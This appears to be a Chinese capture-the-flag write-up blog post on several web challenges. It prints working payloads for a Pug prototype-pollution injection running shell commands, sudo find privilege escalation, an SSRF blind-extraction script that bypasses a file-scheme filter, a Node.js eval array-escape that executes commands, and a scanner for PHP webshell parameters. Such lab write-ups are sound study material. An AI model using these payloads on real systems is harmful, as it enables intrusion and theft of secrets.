NSSCTF第16页(1)
[湖湘杯 2021 final]vote
是有附件,下载下来解压
在/vote-1637654763\www\routes下找到了源码
这道题的考点是
AST配合Pug模板引擎实现注入
有现成的payload
主要代码,需要满足if语句
,从而可以执行compile
语句
{
"__proto__.hero":{
?? ?"name":"奇亚纳"
},
"__proto__.block": {
??? ?"type": "Text",
??? "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
??? }
}
[HZNUCTF 2023 final]ezgo
它提示文件在$PATH变量中未找到,path的翻译是路径,文件和路径,很容易让人联想到/usr/bin/目录下的所有用户都可用的应用程序(绝对路径执行命令)
关于Linux服务器里 /usr/bin 目录和 /usr/local/bin目录_/usr/local/bin在那-CSDN博客?
发现/usr/bin/sudo是可用的
输入 /usr/bin/sudo -l 发现不行
并且提示find命令不需要密码
?
那就可以用sudo find提权命令进行提权
?find? (一个路径或文件,必须存在)? -exec? 执行命令 \;(\; 是-exec 参数的结尾标志)
?
?prize_p4
随便输入发现了说不是admin
点击get key 得到了这个,从最开始的url到现在的key,应该是ssrf+flask_session伪造
意思是是get传参时,访问/getkey得到这个页面,不是get传参时访问,得到的session就是key
用put访问,发现allow的时get head options,三种请求
得到了base64编码的key
?
选中部分解码得到key,进行伪造session
?key:777e890b-a3a1-45b5-ad0b-b43ca7e6be05
?
?
重新访问home页面,得到源码
?
代码审计一下
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flagSECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
??? SECRET_KEY=SECRET_KEY,
))#src in /app
@app.route('/')
@app.route('/index',methods=['GET'])
def index():
??? return render_template("index.html")@app.route('/get_data', methods=["GET",'POST'])
def get_data():
??? data = request.form.get('data', '123')
??? if type(data) is str:
??????? data=data.encode('utf8')
??? url = request.form.get('url', 'http://127.0.0.1:8888/')
??? if data and url:
??????? session['data'] = data
??????? session['url'] = url
??????? session["admin"]=False
??????? return redirect(url_for('home'))
??? return redirect(url_for('/'))@app.route('/home', methods=["GET"])
def home():
??? if session.get("admin",False):
??????? return render_template_string(open(__file__).read())
??? else:
??????? return render_template("home.html",data=session.get('data','Not find data...'))@app.route('/getkey', methods=["GET"])
def getkey():
??? if request.method != "GET":
??????? session["key"]=SECRET_KEY
??? return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
??? if request.method != "GET":
??????? session["key"]=SECRET_KEY''')@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
??? if session['data'] and session['url']:
??????? if 'file:' in session['url']:
??????????? return "no no no"
??????? data=(session['data']).decode('utf8')
??????? url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
??????? if url_text in data or data in url_text:
??????????? return "you get it"
??? return "what ???"@app.route('/getflag', methods=["GET"])
def get_flag():
??? res = flag.waf(request)
??? return resif __name__ == '__main__':
??? app.run(host='0.0.0.0', debug=False, port=8888)
/getflag路由,但是要利用这个路由得知道flag.waf的源码
get_hind_result,这个路由有一个ssrf,可以拿来读源码,但是不会直接显示出结果,只会返回you get it,所以要用盲注
这个路由的ssrf需要在session里设置参数,可以用最开始的/get_data路由来获得对应的session值
ssrf过滤了file协议,利用大小写可以绕过
import string import requests url1="http://node4.anna.nssctf.cn:28839/get_data" url2="http://node4.anna.nssctf.cn:28839/get_hindd_result" flag="NSSCTF{" while 1: for i in string.printable: tmp_flag=flag+i data={"url":"File:///proc/self/environ","data":tmp_flag} res=requests.session() res.get(url1,data=data) session_tmp=str(res.cookies.values())[2:-2] flag_resp=requests.get(url2,cookies={"session":session_tmp}) if "you get it" in flag_resp.text: flag+=i print(flag) break
?利用盲注脚本
[GFCTF 2021]ez_calc
给的提示:
1.别想太复杂,试着传传其他数据类型 2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。
源码提示:
他限制了登陆时候账号不能为admin,大写之后不能为ADMIN,密码是admin123
绕过:
利用特殊字符,比如通过Character.toUpperCose()后,?会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为adm?n,登录成功
发现源码
?
?
?
?上面就是一个过滤字符sh ln fs x f lc , " (等,功能
然后关键点是最后eval(calc)会进行rce,
some()
?方法会遍历由?split()
?方法生成的字符数组中的所有元素
calc不能直接构造恶意参数,就算能,数组也执行不了 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。?
calc数组长度一定要大于等于前面执行命令的字符串长度
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
?
这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.?
?
[强网杯 2019]高明的黑客
贴大佬的脚本,在本地运行,然后就可以得到可执行的shell,文件
import os
import requests
import re
import threading
import time
print('开始时间:? '+? time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) ??? ??? ??? ??? ??? ??? ??? ? ??? ??? ?#这儿设置最大的线程数
filePath = r"D:\ctf\src"
os.chdir(filePath)?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5?? ??? ??? ??? ??? ??? ??? ?#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False?? ??? ??? ??? ??? ??? ??? ??? ? # 设置连接活跃状态为False
def get_content(file):
??? s1.acquire()
??? print('trying?? '+file+ '???? '+ time.asctime( time.localtime(time.time()) ))
??? with open(file,encoding='utf-8') as f:?? ??? ??? ??? ??? ??? ??? ?#打开php文件,提取所有的$_GET和$_POST的参数
??????????? gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
??????????? posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
??? data = {}?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#所有的$_POST
??? params = {}?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#所有的$_GET
??? for m in gets:
??????? params[m] = "echo 'xxxxxx';"
??? for n in posts:
??????? data[n] = "echo 'xxxxxx';"
??? url = 'http://127.0.0.1/src/'+file
??? req = session.post(url, data=data, params=params)?? ??? ??? ?#一次性请求所有的GET和POST
??? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??? req.encoding = 'utf-8'
??? content = req.text
??? #print(content)
??? if "xxxxxx" in content:?? ??? ??? ??? ??? ??? ??? ??? ??? ?#如果发现有可以利用的参数,继续筛选出具体的参数
??????? flag = 0
??????? for a in gets:
??????????? req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
??????????? content = req.text
??????????? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??????????? if "xxxxxx" in content:
??????????????? flag = 1
??????????????? break
??????? if flag != 1:
??????????? for b in posts:
??????????????? req = session.post(url, data={b:"echo 'xxxxxx';"})
??????????????? content = req.text
??????????????? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??????????????? if "xxxxxx" in content:
??????????????????? break
??????? if flag == 1:?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
??????????? param = a
??????? else:
??????????? param = b
??????? print('找到了利用文件: '+file+"? and 找到了利用的参数:%s" %param)
??????? print('结束时间:? ' + time.asctime(time.localtime(time.time())))
??? s1.release()for i in files:?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#加入多线程
?? t = threading.Thread(target=get_content, args=(i,))
?? t.start()
跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php
找到了利用的参数:Efa5BVG?
cat /flag
?
?
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!